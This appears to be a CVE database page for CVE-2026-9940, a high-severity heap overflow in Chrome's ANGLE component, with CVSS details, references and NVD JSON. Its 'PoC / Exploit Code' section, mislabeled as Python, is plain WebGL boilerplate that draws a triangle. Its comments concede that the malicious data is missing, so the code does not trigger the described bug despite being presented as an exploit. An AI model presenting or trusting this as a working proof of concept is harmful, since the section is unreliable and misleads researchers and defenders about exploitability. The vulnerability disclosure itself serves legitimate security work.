CVE-2026-9940

Description

Heap buffer overflow in ANGLE in Google Chrome prior to 148.0.7778.216 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page. (Chromium security severity: High)

CVSS Details

CVSS Score

8.8

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Google Chrome < 148.0.7778.216

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!--
PoC for CVE-2026-9940: Heap Buffer Overflow in ANGLE
This code attempts to trigger the vulnerability via WebGL buffer manipulation.
Note: Specific offsets and shader bytecode are required for reliable exploitation.
-->
<!DOCTYPE html>
<html>
<head>
    <title>CVE-2026-9940 PoC</title>
</head>
<body>
    <canvas id="glcanvas"></canvas>
    <script>
        const canvas = document.getElementById('glcanvas');
        const gl = canvas.getContext('webgl');
        
        if (!gl) {
            alert('WebGL not supported');
        }

        // Create a buffer to trigger potential overflow
        const buffer = gl.createBuffer();
        gl.bindBuffer(gl.ARRAY_BUFFER, buffer);
        
        // Attempt to write data that may trigger the heap overflow
        // Malicious size/data would go here in a real exploit
        const data = new Float32Array(0x10000); 
        // Filling with crafted pattern
        for(let i=0; i<data.length; i++) {
            data[i] = 1.0; 
        }
        
        gl.bufferData(gl.ARRAY_BUFFER, data, gl.STATIC_DRAW);
        
        // Trigger rendering to execute the path
        const vsSource = `
            attribute vec4 aVertexPosition;
            void main() {
                gl_Position = aVertexPosition;
            }
        `;
        const fsSource = `
            void main() {
                gl_FragColor = vec4(1.0, 0.0, 0.0, 1.0);
            }
        `;
        
        // Compile and link shaders (simplified)
        const vertexShader = gl.createShader(gl.VERTEX_SHADER);
        gl.shaderSource(vertexShader, vsSource);
        gl.compileShader(vertexShader);
        const fragmentShader = gl.createShader(gl.FRAGMENT_SHADER);
        gl.shaderSource(fragmentShader, fsSource);
        gl.compileShader(fragmentShader);
        const shaderProgram = gl.createProgram();
        gl.attachShader(shaderProgram, vertexShader);
        gl.attachShader(shaderProgram, fragmentShader);
        gl.linkProgram(shaderProgram);
        gl.useProgram(shaderProgram);
        
        // Draw to trigger the bug
        gl.drawArrays(gl.TRIANGLES, 0, 3);
    </script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-9940
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-9940
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-9940/
[4] VulDB https://vuldb.com/cve/CVE-2026-9940
[5] https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_0877304591.html
[6] https://issues.chromium.org/issues/502738003

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-9940", "sourceIdentifier": "[email protected]", "published": "2026-05-28T23:16:52.123", "lastModified": "2026-05-29T19:16:30.097", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Heap buffer overflow in ANGLE in Google Chrome prior to 148.0.7778.216 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page. (Chromium security severity: High)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-122"}]}], "references": [{"url": "https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_0877304591.html", "source": "[email protected]"}, {"url": "https://issues.chromium.org/issues/502738003", "source": "[email protected]"}]}}